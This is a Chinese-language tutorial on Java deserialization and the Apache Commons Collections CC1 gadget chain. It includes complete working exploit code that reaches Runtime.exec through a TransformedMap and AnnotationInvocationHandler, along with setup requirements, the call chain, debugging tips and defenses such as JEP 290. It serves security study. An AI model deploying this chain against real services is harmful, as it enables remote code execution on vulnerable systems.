从Java反序列化基础到CC链漏洞分析
字数 1564 2025-08-12 11:34:00
Java反序列化与CC链漏洞分析教学文档
一、序列化与反序列化基础
1.1 基本概念
- 序列化:将Java对象转换为字节序列的过程
- 反序列化:将字节序列恢复为Java对象的过程
- Serializable接口:类必须实现此接口才能被序列化
1.2 关键方法
ObjectOutputStream.writeObject(Object obj):序列化方法ObjectInputStream.readObject(Object obj):反序列化方法
1.3 重要特性
- serialVersionUID:序列化ID,用于版本控制
- transient关键字:标记不参与序列化的字段
protected transient int age; // 该变量不参与序列化
二、Transformer机制分析
2.1 Transformer接口
Apache Commons Collections中的核心接口,定义了一个转换方法:
Object transform(Object input);
2.2 关键实现类
2.2.1 ConstantTransformer
- 总是返回固定值
- 示例:
new ConstantTransformer(Runtime.getRuntime())
2.2.2 InvokerTransformer
- 通过反射调用方法
- 构造方法:
new InvokerTransformer("方法名", 参数类型数组, 参数值数组) - 核心逻辑:
Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
2.2.3 ChainedTransformer
- 将多个Transformer串联执行
- 示例:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformer = new ChainedTransformer(transformers);
三、CC1链详细分析
3.1 完整利用链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
3.2 关键组件
3.2.1 TransformedMap
- 装饰器模式,对Map进行装饰
- 关键方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) - 触发点:
checkSetValue方法会调用valueTransformer.transform(value)
3.2.2 AnnotationInvocationHandler
- 位于
sun.reflect.annotation包 - 关键特性:
- 非public类,需要通过反射获取
- 构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) readObject方法中会遍历memberValues并调用setValue
3.3 完整利用代码
public class CC1 {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构造TransformedMap
Map map = new HashMap();
map.put("value", "value"); // 必须为"value"
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
// 通过反射获取AnnotationInvocationHandler实例
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
// 序列化和反序列化
serialize(instance);
unserialize("ser.bin");
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
3.4 关键注意事项
- JDK版本:需要在JDK1.7环境下运行
- 依赖库:commons-collections 3.1
- 注解选择:
- 必须使用有成员方法的注解类(如
Target) Override没有成员方法,会导致利用失败
- 必须使用有成员方法的注解类(如
- Map键值:
- 必须使用
"value"作为key - 其他key会导致
var7为null,无法进入关键代码段
- 必须使用
四、漏洞利用链分析
4.1 完整调用链
AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform() * 3
-> Runtime.exec()
4.2 关键触发点
- 反序列化入口:
AnnotationInvocationHandler.readObject() - Map处理:遍历memberValues并调用
setValue - Transformer链执行:
- 获取Runtime类
- 获取getRuntime方法
- 调用getRuntime方法
- 执行calc命令
五、防御措施
- 升级依赖库:使用commons-collections 4.0及以上版本
- JEP 290:JDK提供的反序列化过滤器
- 输入验证:对反序列化数据来源进行严格验证
- 使用白名单:限制可反序列化的类
六、调试技巧
- 关键断点:
InvokerTransformer.transform()TransformedMap.checkSetValue()AnnotationInvocationHandler.readObject()
- 环境配置:
- JDK1.7
- commons-collections 3.1
- IDE调试功能
七、扩展学习
- 其他CC链:CC2、CC3、CC4等不同利用链
- 其他反序列化漏洞:JDK原生、第三方库等
- 漏洞挖掘方法:静态分析、动态调试等
本教学文档详细分析了Java反序列化基础知识和CC1链的完整利用过程,包括关键代码、调用链分析和调试技巧,为安全研究人员提供了全面的学习参考。